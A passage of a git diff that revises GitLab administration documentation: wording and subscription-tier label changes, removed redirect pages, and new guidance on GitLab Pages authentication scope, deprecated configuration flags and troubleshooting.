`queue_selector`](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/147) in GitLab 13.6. In addition to selecting queues by name, as above, the `queue_selector` diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md index b93af074795..330bd9a43da 100644 --- a/doc/administration/operations/fast_ssh_key_lookup.md +++ b/doc/administration/operations/fast_ssh_key_lookup.md @@ -224,5 +224,5 @@ the database. The following instructions can be used to build OpenSSH 7.5: GitLab supports `authorized_keys` database lookups with [SELinux](https://en.wikipedia.org/wiki/Security-Enhanced_Linux). Because the SELinux policy is static, GitLab doesn't support the ability to change -internal Unicorn ports at the moment. Admins would have to create a special `.te` +internal Unicorn ports at the moment. Administrators would have to create a special `.te` file for the environment, since it isn't generated dynamically. diff --git a/doc/administration/operations/filesystem_benchmarking.md b/doc/administration/operations/filesystem_benchmarking.md index 9072214eb02..6119fcdae45 100644 --- a/doc/administration/operations/filesystem_benchmarking.md +++ b/doc/administration/operations/filesystem_benchmarking.md @@ -4,15 +4,15 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Filesystem Performance Benchmarking +# File system Performance Benchmarking -Filesystem performance has a big impact on overall GitLab performance, +File system performance has a big impact on overall GitLab performance, especially for actions that read or write to Git repositories. This information -will help benchmark filesystem performance against known good and bad real-world +will help benchmark file system performance against known good and bad real-world systems. -Normally when talking about filesystem performance the biggest concern is -with Network Filesystems (NFS). However, even some local disks can have slow +Normally when talking about file system performance the biggest concern is +with Network File Systems (NFS). However, even some local disks can have slow I/O. The information on this page can be used for either scenario. ## Executing benchmarks @@ -77,7 +77,7 @@ available on the system. It's possible to receive good results on this test but still have poor performance due to read speed and various other factors. -The following one-line commands provide a quick benchmark for filesystem write and read +The following one-line commands provide a quick benchmark for file system write and read performance. This will write 1,000 small files to the directory in which it is executed, and then read the same 1,000 files. @@ -125,4 +125,4 @@ sys 0m1.663s ``` From experience with multiple customers, this task should take under 10 -seconds to indicate good filesystem performance. +seconds to indicate good file system performance. diff --git a/doc/administration/operations/index.md b/doc/administration/operations/index.md index b15417ea8d9..708861d8529 100644 --- a/doc/administration/operations/index.md +++ b/doc/administration/operations/index.md @@ -13,24 +13,24 @@ Keep your GitLab instance up and running smoothly. you have been running a large GitLab server (thousands of users) since before GitLab 7.3 we recommend cleaning up stale sessions to compact the Redis database after you upgrade to GitLab 7.3. -- [Rake tasks](../../raketasks/README.md): Tasks for common administration and operational processes such as +- [Rake tasks](../../raketasks/index.md): Tasks for common administration and operational processes such as [cleaning up unneeded items from GitLab instance](../../raketasks/cleanup.md), integrity checks, and more. - [Moving repositories](moving_repositories.md): Moving all repositories managed by GitLab to another file system or another server. - [Sidekiq MemoryKiller](sidekiq_memory_killer.md): Configure Sidekiq MemoryKiller to restart Sidekiq. -- [Multiple Sidekiq processes](extra_sidekiq_processes.md): Configure multiple Sidekiq processes to ensure certain queues always have dedicated workers, no matter the number of jobs that need to be processed. **(CORE ONLY)** +- [Multiple Sidekiq processes](extra_sidekiq_processes.md): Configure multiple Sidekiq processes to ensure certain queues always have dedicated workers, no matter the number of jobs that need to be processed. **(FREE SELF)** - [Puma](puma.md): Understand Puma and puma-worker-killer. - [Unicorn](unicorn.md): Understand Unicorn and unicorn-worker-killer. - Speed up SSH operations by [Authorizing SSH users via a fast, indexed lookup to the GitLab database](fast_ssh_key_lookup.md), and/or by [doing away with user SSH keys stored on GitLab entirely in favor of SSH certificates](ssh_certificates.md). -- [Filesystem Performance Benchmarking](filesystem_benchmarking.md): Filesystem +- [File System Performance Benchmarking](filesystem_benchmarking.md): File system performance can have a big impact on GitLab performance, especially for actions that read or write Git repositories. This information will help benchmark - filesystem performance against known good and bad real-world systems. + file system performance against known good and bad real-world systems. - [The Rails Console](rails_console.md): Provides a way to interact with your GitLab instance from the command line. Used for troubleshooting a problem or retrieving some data that can only be done through direct access to GitLab. - [ChatOps Scripts](https://gitlab.com/gitlab-com/chatops): The GitLab.com Infrastructure team uses this repository to house diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md index 029f3bb01ed..da3b3dbbc15 100644 --- a/doc/administration/operations/moving_repositories.md +++ b/doc/administration/operations/moving_repositories.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Moving repositories managed by GitLab **(CORE ONLY)** +# Moving repositories managed by GitLab **(FREE SELF)** Sometimes you need to move all repositories managed by GitLab to another file system or another server. @@ -20,25 +20,23 @@ The GitLab API is the recommended way to move Git repositories: For more information, see: -- [Configuring additional storage for Gitaly](../gitaly/index.md#network-architecture). Within this - example, additional storage called `storage1` and `storage2` is configured. +- [Configuring additional storage for Gitaly](../gitaly/index.md#network-architecture). This + example configures additional storage called `storage1` and `storage2`. - [The API documentation](../../api/project_repository_storage_moves.md) details the endpoints for querying and scheduling project repository moves. - [The API documentation](../../api/snippet_repository_storage_moves.md) details the endpoints for querying and scheduling snippet repository moves. +- [The API documentation](../../api/group_repository_storage_moves.md) details the endpoints for + querying and scheduling group repository moves **(PREMIUM SELF)**. - [Migrate existing repositories to Gitaly Cluster](../gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster). -### Limitations - -Read more in the [API documentation for projects](../../api/project_repository_storage_moves.md#limitations) and the [API documentation for snippets](../../api/snippet_repository_storage_moves.md#limitations). - ## Migrating to another GitLab instance [Using the API](#moving-data-within-a-gitlab-instance) isn't an option if you are migrating to a new GitLab environment, for example: - From a single-node GitLab to a scaled-out architecture. -- From a GitLab instance in your private datacenter to a cloud provider. +- From a GitLab instance in your private data center to a cloud provider. The rest of the document looks at some of the ways you can copy all your repositories from @@ -103,8 +101,8 @@ Using `rsync` to migrate Git data can cause data loss and repository corruption. If the target directory already contains a partial / outdated copy of the repositories it may be wasteful to copy all the data again with `tar`. In this scenario it is better to use `rsync`. This utility -is either already installed on your system or easily installable -via `apt`, `yum`, and so on. +is either already installed on your system, or installable +by using `apt` or `yum`. ```shell sudo -u git sh -c 'rsync -a --delete /var/opt/gitlab/git-data/repositories/. \ @@ -112,7 +110,7 @@ sudo -u git sh -c 'rsync -a --delete /var/opt/gitlab/git-data/repositories/. \ ``` The `/.` in the command above is very important, without it you can -easily get the wrong directory structure in the target directory. +get the wrong directory structure in the target directory. If you want to see progress, replace `-a` with `-av`. #### Single `rsync` to another server @@ -135,20 +133,23 @@ WARNING: Using `rsync` to migrate Git data can cause data loss and repository corruption. [These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422). -Every time you start an `rsync` job it has to inspect all files in -the source directory, all files in the target directory, and then -decide what files to copy or not. If the source or target directory -has many contents this startup phase of `rsync` can become a burden -for your GitLab server. In cases like this you can make `rsync`'s -life easier by dividing its work in smaller pieces, and sync one -repository at a time. +Every time you start an `rsync` job it must: + +- Inspect all files in the source directory. +- Inspect all files in the target directory. +- Decide whether or not to copy files. + +If the source or target directory +has many contents, this startup phase of `rsync` can become a burden +for your GitLab server. You can reduce the workload of `rsync` by dividing its +work in smaller pieces, and sync one repository at a time. In addition to `rsync` we use [GNU Parallel](http://www.gnu.org/software/parallel/). -This utility is not included in GitLab so you need to install it yourself with `apt` -or `yum`. Also note that the GitLab scripts we used below were added in GitLab 8.1. +This utility is not included in GitLab, so you must install it yourself with `apt` +or `yum`. -**This process does not clean up repositories at the target location that no -longer exist at the source.** +This process does not clean up repositories at the target location that no +longer exist at the source. #### Parallel `rsync` for all repositories known to GitLab @@ -218,8 +219,8 @@ Using `rsync` to migrate Git data can cause data loss and repository corruption. [These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422). Suppose you have already done one sync that started after 2015-10-1 12:00 UTC. -Then you might only want to sync repositories that were changed via GitLab -_after_ that time. You can use the `SINCE` variable to tell `rake +Then you might only want to sync repositories that were changed by using GitLab +after that time. You can use the `SINCE` variable to tell `rake gitlab:list_repos` to only print repositories with recent activity. ```shell diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md index 44ac014650e..3b676010bfe 100644 --- a/doc/administration/operations/puma.md +++ b/doc/administration/operations/puma.md @@ -31,7 +31,7 @@ Unicorn in GitLab 14.0. When switching to Puma, Unicorn server configuration will _not_ carry over automatically, due to differences between the two application servers. For Omnibus-based deployments, see [Configuring Puma Settings](https://docs.gitlab.com/omnibus/settings/puma.html#configuring-puma-settings). -For Helm based deployments, see the [Webservice Chart documentation](https://docs.gitlab.com/charts/charts/gitlab/webservice/index.html). +For Helm based deployments, see the [`webservice` chart documentation](https://docs.gitlab.com/charts/charts/gitlab/webservice/index.html). Additionally we strongly recommend that multi-node deployments [configure their load balancers to use the readiness check](../load_balancer.md#readiness-check) due to a difference between Unicorn and Puma in how they handle connections during a restart of the service. diff --git a/doc/administration/operations/speed_up_ssh.md b/doc/administration/operations/speed_up_ssh.md deleted file mode 100644 index 2f3cf40a222..00000000000 --- a/doc/administration/operations/speed_up_ssh.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'fast_ssh_key_lookup.md' ---- - -This document was moved to [another location](fast_ssh_key_lookup.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/packages.md b/doc/administration/packages.md deleted file mode 100644 index 690b6785941..00000000000 --- a/doc/administration/packages.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'packages/index.md' ---- - -This document was moved to [another location](packages/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md index ab6202fef4c..63bb969afce 100644 --- a/doc/administration/packages/container_registry.md +++ b/doc/administration/packages/container_registry.md @@ -312,14 +312,14 @@ configuration. The different supported drivers are: -| Driver | Description | -|------------|-------------------------------------| -| filesystem | Uses a path on the local filesystem | -| Azure | Microsoft Azure Blob Storage | -| gcs | Google Cloud Storage | -| s3 | Amazon Simple Storage Service. Be sure to configure your storage bucket with the correct [S3 Permission Scopes](https://docs.docker.com/registry/storage-drivers/s3/#s3-permission-scopes). | -| swift | OpenStack Swift Object Storage | -| oss | Aliyun OSS | +| Driver | Description | +|--------------|--------------------------------------| +| `filesystem` | Uses a path on the local file system | +| `Azure` | Microsoft Azure Blob Storage | +| `gcs` | Google Cloud Storage | +| `s3` | Amazon Simple Storage Service. Be sure to configure your storage bucket with the correct [S3 Permission Scopes](https://docs.docker.com/registry/storage-drivers/s3/#s3-permission-scopes). | +| `swift` | OpenStack Swift Object Storage | +| `oss` | Aliyun OSS | Although most S3 compatible services (like [MinIO](https://min.io/)) should work with the Container Registry, we only guarantee support for AWS S3. Because we cannot assert the correctness of third-party S3 implementations, we can debug issues, but we cannot patch the registry unless an issue is reproducible against an AWS S3 bucket. diff --git a/doc/administration/packages/dependency_proxy.md b/doc/administration/packages/dependency_proxy.md index 9e315722c24..16cfdc8c784 100644 --- a/doc/administration/packages/dependency_proxy.md +++ b/doc/administration/packages/dependency_proxy.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # GitLab Dependency Proxy administration > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7934) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.11. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 13.6. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Free](https://about.gitlab.com/pricing/) in GitLab 13.6. GitLab can be used as a dependency proxy for a variety of common package managers. diff --git a/doc/administration/packages/index.md b/doc/administration/packages/index.md index 0f391371a6a..b1d2a82e31a 100644 --- a/doc/administration/packages/index.md +++ b/doc/administration/packages/index.md @@ -22,7 +22,7 @@ The Package Registry supports the following formats: <tr><td><a href="https://docs.gitlab.com/ee/user/packages/conan_repository/index.html">Conan</a></td><td>12.6+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/go_proxy/index.html">Go</a></td><td>13.1+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/maven_repository/index.html">Maven</a></td><td>11.3+</td></tr> -<tr><td><a href="https://docs.gitlab.com/ee/user/packages/npm_registry/index.html">NPM</a></td><td>11.7+</td></tr> +<tr><td><a href="https://docs.gitlab.com/ee/user/packages/npm_registry/index.html">npm</a></td><td>11.7+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/nuget_repository/index.html">NuGet</a></td><td>12.8+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/pypi_repository/index.html">PyPI</a></td><td>12.10+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/generic_packages/index.html">Generic packages</a></td><td>13.5+</td></tr> @@ -35,6 +35,8 @@ The Package Registry supports the following formats: The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md) guides you through the process. +<!-- vale gitlab.Spelling = NO --> + | Format | Status | | ------ | ------ | | Chef | [#36889](https://gitlab.com/gitlab-org/gitlab/-/issues/36889) | @@ -51,6 +53,8 @@ guides you through the process. | Terraform | [WIP: Merge Request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18834) | | Vagrant | [#36899](https://gitlab.com/gitlab-org/gitlab/-/issues/36899) | +<!-- vale gitlab.Spelling = YES --> + ## Enabling the Packages feature NOTE: diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md index 9e949468805..655e35c3e60 100644 --- a/doc/administration/pages/index.md +++ b/doc/administration/pages/index.md @@ -190,7 +190,7 @@ outside world. ### Additional configuration for Docker container The GitLab Pages daemon doesn't have permissions to bind mounts when it runs -in a Docker container. To overcome this issue, you must change the chroot +in a Docker container. To overcome this issue, you must change the `chroot` behavior: 1. Edit `/etc/gitlab/gitlab.rb`. @@ -216,13 +216,13 @@ control over how the Pages daemon runs and serves content in your environment. | Setting | Description | | ------- | ----------- | -| `pages_external_url` | The URL where GitLab Pages is accessible, including protocol (HTTP / HTTPS). If `https://` is used, you must also set `gitlab_pages['ssl_certificate']` and `gitlab_pages['ssl_certificate_key']`. +| `pages_external_url` | The URL where GitLab Pages is accessible, including protocol (HTTP / HTTPS). If `https://` is used, additional configuration is required. See [Wildcard domains with TLS support](#wildcard-domains-with-tls-support) and [Custom domains with TLS support](#custom-domains-with-tls-support) for details. | `gitlab_pages[]` | | | `access_control` | Whether to enable [access control](index.md#access-control). | `api_secret_key` | Full path to file with secret key used to authenticate with the GitLab API. Auto-generated when left unset. | `artifacts_server` | Enable viewing [artifacts](../job_artifacts.md) in GitLab Pages. | `artifacts_server_timeout` | Timeout (in seconds) for a proxied request to the artifacts server. -| `artifacts_server_url` | API URL to proxy artifact requests to. Defaults to GitLab `external URL` + `/api/v4`, for example `https://gitlab.com/api/v4`. +| `artifacts_server_url` | API URL to proxy artifact requests to. Defaults to GitLab `external URL` + `/api/v4`, for example `https://gitlab.com/api/v4`. When running a [separate Pages server](#running-gitlab-pages-on-a-separate-server), this URL must point to the main GitLab server's API. | `auth_redirect_uri` | Callback URL for authenticating with GitLab. Defaults to project's subdomain of `pages_external_url` + `/auth`. | `auth_secret` | Secret key for signing authentication requests. Leave blank to pull automatically from GitLab during OAuth registration. | `dir` | Working directory for configuration and secrets files. @@ -234,9 +234,10 @@ control over how the Pages daemon runs and serves content in your environment. | `domain_config_source` | Domain configuration source (default: `auto`) | `gitlab_id` | The OAuth application public ID. Leave blank to automatically fill when Pages authenticates with GitLab. | `gitlab_secret` | The OAuth application secret. Leave blank to automatically fill when Pages authenticates with GitLab. +| `auth_scope` | The OAuth application scope to use for authentication. Must match GitLab Pages OAuth application settings. Leave blank to use `api` scope by default. | `gitlab_server` | Server to use for authentication when access control is enabled; defaults to GitLab `external_url`. | `headers` | Specify any additional http headers that should be sent to the client with each response. -| `inplace_chroot` | On [systems that don't support bind-mounts](index.md#additional-configuration-for-docker-container), this instructs GitLab Pages to chroot into its `pages_path` directory. Some caveats exist when using inplace chroot; refer to the GitLab Pages [README](https://gitlab.com/gitlab-org/gitlab-pages/blob/master/README.md#caveats) for more information. +| `inplace_chroot` | On [systems that don't support bind-mounts](index.md#additional-configuration-for-docker-container), this instructs GitLab Pages to `chroot` into its `pages_path` directory. Some caveats exist when using in-place `chroot`; refer to the GitLab Pages [README](https://gitlab.com/gitlab-org/gitlab-pages/blob/master/README.md#caveats) for more information. | `insecure_ciphers` | Use default list of cipher suites, may contain insecure ones like 3DES and RC4. | `internal_gitlab_server` | Internal GitLab server address used exclusively for API requests. Useful if you want to send that traffic over an internal load balancer. Defaults to GitLab `external_url`. | `listen_proxy` | The addresses to listen on for reverse-proxy requests. Pages binds to these addresses' network sockets and receives incoming requests from them. Sets the value of `proxy_pass` in `$nginx-dir/conf/gitlab-pages.conf`. @@ -400,6 +401,25 @@ NOTE: For this setting to be effective with multi-node setups, it has to be applied to all the App nodes and Sidekiq nodes. +#### Using Pages with reduced authentication scope + +By default, the Pages daemon uses the `api` scope to authenticate. You can configure this. For +example, this reduces the scope to `read_api` in `/etc/gitlab/gitlab.rb`: + +```ruby +gitlab_pages['auth_scope'] = 'read_api' +``` + +The scope to use for authentication must match the GitLab Pages OAuth application settings. Users of +pre-existing applications must modify the GitLab Pages OAuth application. Follow these steps to do +this: + +1. Navigate to your instance's **Admin Area > Settings > Applications** and expand **GitLab Pages** + settings. +1. Clear the `api` scope's checkbox and select the desired scope's checkbox (for example, + `read_api`). +1. Click **Save changes**. + #### Disabling public access to all Pages websites > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32095) in GitLab 12.7. @@ -538,7 +558,7 @@ the below steps to do a no downtime transfer to a new storage location. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. Verify Pages are still being served up as expected. -1. Unpause Pages deployments by removing from `/etc/gitlab/gitlab.rb` the `sidekiq` setting set above. +1. Resume Pages deployments by removing from `/etc/gitlab/gitlab.rb` the `sidekiq` setting set above. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. Trigger a new Pages deployment and verify it's working as expected. 1. Remove the old Pages storage location: `sudo rm -rf /var/opt/gitlab/gitlab-rails/shared/pages` @@ -573,7 +593,7 @@ You can configure the maximum size of the unpacked archive per project in **Admin Area > Settings > Preferences > Pages**, in **Maximum size of pages (MB)**. The default is 100MB. -### Override maximum pages size per project or group **(PREMIUM ONLY)** +### Override maximum pages size per project or group **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16610) in GitLab 12.7. @@ -629,7 +649,7 @@ database encryption. Proceed with caution. on the **Pages server** and configure this share to allow access from your main **GitLab server**. Note that the example there is more general and - shares several sub-directories from `/home` to several `/nfs/home` mountpoints. + shares several sub-directories from `/home` to several `/nfs/home` mount points. For our Pages-specific example here, we instead share only the default GitLab Pages folder `/var/opt/gitlab/gitlab-rails/shared/pages` from the **Pages server** and we mount it to `/mnt/pages` @@ -689,7 +709,7 @@ Pages server. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) in GitLab 13.3. GitLab Pages can use different sources to get domain configuration. -The default value is `nil`. However, GitLab Pages defaults to `auto`. +The default value for Omnibus installations is `nil`. ```ruby gitlab_pages['domain_config_source'] = nil @@ -700,8 +720,33 @@ preferred source is `gitlab`, which uses [API-based configuration](#gitlab-api-b For more details see this [blog post](https://about.gitlab.com/blog/2020/08/03/how-gitlab-pages-uses-the-gitlab-api-to-serve-content/). +### Deprecated domain_config_source + +WARNING: +The flag `gitlab_pages['domain_config_source']` is deprecated for use in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/217913), +and is planned for removal in GitLab 14.0. + +GitLab 13.0 introduced the special flag `domain_config_source` to support manual opt-in to +[API-based configuration](#gitlab-api-based-configuration). +GitLab 13.7 introduced the [`auto` value](https://gitlab.com/gitlab-org/gitlab/-/issues/218358) +to support a smoother transition to API-based configuration. + +Starting with GitLab 14.0, GitLab Pages only supports API-based configuration, and +[disk source configuration is removed](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/382). +Therefore, GitLab 14.0 also removes `domain_config_source`. + +GitLab Pages fails to start if it can't connect to the GitLab API. For other common issues, see the +[troubleshooting section](#failed-to-connect-to-the-internal-gitlab-api) +or report an issue. + ### GitLab API-based configuration +WARNING: +The flag `gitlab_pages['domain_config_source']` is deprecated for use in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/217913), +and is planned for removal in GitLab 14.0. In GitLab 14.0 and later, GitLab Pages attempts to +connect to the API automatically, without requiring the manual configuration steps shown here. Pages +fails to start if this automatic connection fails. + GitLab Pages can use an API-based configuration. This replaces disk source configuration, which was used prior to GitLab 13.0. Follow these steps to enable it: @@ -730,6 +775,13 @@ or report an issue. ### Object storage settings +WARNING: +With the following settings, Pages uses both NFS and Object Storage locations when deploying the +site. **Do not remove the existing NFS mount used by Pages** when applying these settings. For more +information, see the epics +[3901](https://gitlab.com/groups/gitlab-org/-/epics/3901#how-to-test-object-storage-integration-in-beta) +and [3910](https://gitlab.com/groups/gitlab-org/-/epics/3910). + The following settings are: - Nested under `pages:` and then `object_store:` on source installations. @@ -818,7 +870,7 @@ but commented out to help encourage others to add to it in the future. --> ### `open /etc/ssl/ca-bundle.pem: permission denied` -GitLab Pages runs inside a chroot jail, usually in a uniquely numbered directory like +GitLab Pages runs inside a `chroot` jail, usually in a uniquely numbered directory like `/tmp/gitlab-pages-*`. Within the jail, a bundle of trusted certificates is @@ -828,7 +880,7 @@ from `/opt/gitlab/embedded/ssl/certs/cacert.pem` as part of starting up Pages. If the permissions on the source file are incorrect (they should be `0644`), then -the file inside the chroot jail is also wrong. +the file inside the `chroot` jail is also wrong. Pages logs errors in `/var/log/gitlab/gitlab-pages/current` like: @@ -837,8 +889,8 @@ x509: failed to load system roots and no roots provided open /etc/ssl/ca-bundle.pem: permission denied ``` -The use of a chroot jail makes this error misleading, as it is not -referring to `/etc/ssl` on the root filesystem. +The use of a `chroot` jail makes this error misleading, as it is not +referring to `/etc/ssl` on the root file system. The fix is to correct the source file permissions and restart Pages: @@ -862,8 +914,8 @@ open /opt/gitlab/embedded/ssl/certs/cacert.pem: no such file or directory x509: certificate signed by unknown authority ``` -The reason for those errors is that the files `resolv.conf` and `ca-bundle.pem` are missing inside the chroot. -The fix is to copy the host's `/etc/resolv.conf` and the GitLab certificate bundle inside the chroot: +The reason for those errors is that the files `resolv.conf` and `ca-bundle.pem` are missing inside the `chroot`. +The fix is to copy the host's `/etc/resolv.conf` and the GitLab certificate bundle inside the `chroot`: ```shell sudo mkdir -p /var/opt/gitlab/gitlab-rails/shared/pages/etc/ssl @@ -895,7 +947,7 @@ gitlab_pages['listen_proxy'] = '127.0.0.1:8090' ### 404 error after transferring project to a different group or user If you encounter a `404 Not Found` error a Pages site after transferring a project to -another group or user, you must trigger adomain configuration update for Pages. To do +another group or user, you must trigger a domain configuration update for Pages. To do so, write something in the `.update` file. The Pages daemon monitors for changes to this file, and reloads the configuration when changes occur. @@ -928,11 +980,30 @@ For example, if there is a connection timeout: error="failed to connect to internal Pages API: Get \"https://gitlab.example.com:3000/api/v4/internal/pages/status\": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)" ``` +### Pages cannot communicate with an instance of the GitLab API + +WARNING: +The flag `gitlab_pages['domain_config_source']` is [deprecated](#deprecated-domain_config_source) +for use in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/217913), +and is planned for removal in GitLab 14.0. + +If you use the default value for `domain_config_source=auto` and run multiple instances of GitLab +Pages, you may see intermittent 502 error responses while serving Pages content. You may also see +the following warning in the Pages logs: + +```plaintext +WARN[0010] Pages cannot communicate with an instance of the GitLab API. Please sync your gitlab-secrets.json file https://gitlab.com/gitlab-org/gitlab-pages/-/issues/535#workaround. error="pages endpoint unauthorized" +``` + +This can happen if your `gitlab-secrets.json` file is out of date between GitLab Rails and GitLab +Pages. Follow steps 8-10 of [Running GitLab Pages on a separate server](#running-gitlab-pages-on-a-separate-server), +in all of your GitLab Pages instances. + ### 500 error with `securecookie: failed to generate random iv` and `Failed to save the session` This problem most likely results from an [out-dated operating system](https://docs.gitlab.com/omnibus/package-information/deprecated_os.html). -The [Pages daemon uses the `securecookie` library](https://gitlab.com/search?group_id=9970&project_id=734943&repository_ref=master&scope=blobs&search=securecookie&snippets=false) to get random strings via [crypto/rand in Go](https://golang.org/pkg/crypto/rand/#pkg-variables). -This requires the `getrandom` syscall or `/dev/urandom` to be available on the host OS. +The [Pages daemon uses the `securecookie` library](https://gitlab.com/search?group_id=9970&project_id=734943&repository_ref=master&scope=blobs&search=securecookie&snippets=false) to get random strings via [`crypto/rand` in Go](https://golang.org/pkg/crypto/rand/#pkg-variables). +This requires the `getrandom` system call or `/dev/urandom` to be available on the host OS. Upgrading to an [officially supported operating system](https://about.gitlab.com/install/) is recommended. ### The requested scope is invalid, malformed, or unknown @@ -940,6 +1011,8 @@ Upgrading to an [officially supported operating system](https://about.gitlab.com This problem comes from the permissions of the GitLab Pages OAuth application. To fix it, go to **Admin > Applications > GitLab Pages** and edit the application. Under **Scopes**, ensure that the `api` scope is selected and save your changes. +When running a [separate Pages server](#running-gitlab-pages-on-a-separate-server), +this setting needs to be configured on the main GitLab server. ### Workaround in case no wildcard DNS entry can be set @@ -948,3 +1021,21 @@ If the wildcard DNS [prerequisite](#prerequisites) can't be met, you can still u 1. [Move](../../user/project/settings/index.md#transferring-an-existing-project-into-another-namespace) all projects you need to use Pages with into a single group namespace, for example `pages`. 1. Configure a [DNS entry](#dns-configuration) without the `*.`-wildcard, for example `pages.example.io`. + +### Pages daemon fails with permission denied errors + +If `/tmp` is mounted with `noexec`, the Pages daemon fails to start with an error like: + +```plaintext +{"error":"fork/exec /gitlab-pages: permission denied","level":"fatal","msg":"could not create pages daemon","time":"2021-02-02T21:54:34Z"} +``` + +In this case, change `TMPDIR` to a location that is not mounted with `noexec`. Add the following to +`/etc/gitlab/gitlab.rb`: + +```ruby +gitlab_pages['env'] = {'TMPDIR' => '<new_tmp_path>'} +``` + +Once added, reconfigure with `sudo gitlab-ctl reconfigure` and restart GitLab with +`sudo gitlab-ctl restart`. diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md index 0aebeaf2ebe..d1a8b703860 100644 --- a/doc/administration/pages/source.md +++ b/doc/administration/pages/source.md @@ -407,7 +407,7 @@ Pages access control is disabled by default. To enable it: ``` 1. [Restart GitLab](../restart_gitlab.md#installations-from-source). -1. Create a new [system OAuth application](../../integration/oauth_provider.md#adding-an-application-through-the-profile). +1. Create a new [system OAuth application](../../integration/oauth_provider.md#add-an-application-through-the-profile). This should be called `GitLab Pages` and have a `Redirect URL` of `https://projects.example.io/auth`. It does not need to be a "trusted" application, but it does need the `api` scope. diff --git a/doc/administration/plugins.md b/doc/administration/plugins.md deleted file mode 100644 index f5d4b3aa2ff..00000000000 --- a/doc/administration/plugins.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'file_hooks.md' ---- - -This document was moved to [File Hooks](file_hooks.md), after the Plugins feature was renamed to File Hooks. - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/postgresql/index.md b/doc/administration/postgresql/index.md index 0e6fd757421..eabb396aeab 100644 --- a/doc/administration/postgresql/index.md +++ b/doc/administration/postgresql/index.md @@ -11,7 +11,7 @@ In this section, you'll be guided through configuring a PostgreSQL database to be used with GitLab in one of our [reference architectures](../reference_architectures/index.md). There are essentially three setups to choose from. -## PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM ONLY)** +## PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM SELF)** This setup is for when you have installed GitLab using the [Omnibus GitLab **Enterprise Edition** (EE) package](https://about.gitlab.com/install/?version=ee). @@ -21,7 +21,7 @@ the package, so you can it to set up the whole PostgreSQL infrastructure (primar [> Read how to set up PostgreSQL replication and failover using Omnibus GitLab](replication_and_failover.md) -## Standalone PostgreSQL using Omnibus GitLab **(CORE ONLY)** +## Standalone PostgreSQL using Omnibus GitLab **(FREE SELF)** This setup is for when you have installed the [Omnibus GitLab packages](https://about.gitlab.com/install/) (CE or EE), @@ -29,7 +29,7 @@ to use the bundled PostgreSQL having only its service enabled. [> Read how to set up a standalone PostgreSQL instance using Omnibus GitLab](standalone.md) -## Provide your own PostgreSQL instance **(CORE ONLY)** +## Provide your own PostgreSQL instance **(FREE SELF)** This setup is for when you have installed GitLab using the [Omnibus GitLab packages](https://about.gitlab.com/install/) (CE or EE), diff --git a/doc/administration/postgresql/pgbouncer.md b/doc/administration/postgresql/pgbouncer.md index 951edfeaec2..791ca64b001 100644 --- a/doc/administration/postgresql/pgbouncer.md +++ b/doc/administration/postgresql/pgbouncer.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Working with the bundled PgBouncer service **(PREMIUM ONLY)** +# Working with the bundled PgBouncer service **(PREMIUM SELF)** [PgBouncer](http://www.pgbouncer.org/) is used to seamlessly migrate database connections between servers in a failover scenario. Additionally, it can be used diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md index 75d0c558962..e80e38fe5d1 100644 --- a/doc/administration/postgresql/replication_and_failover.md +++ b/doc/administration/postgresql/replication_and_failover.md @@ -4,7 +4,7 @@ group: Database info: 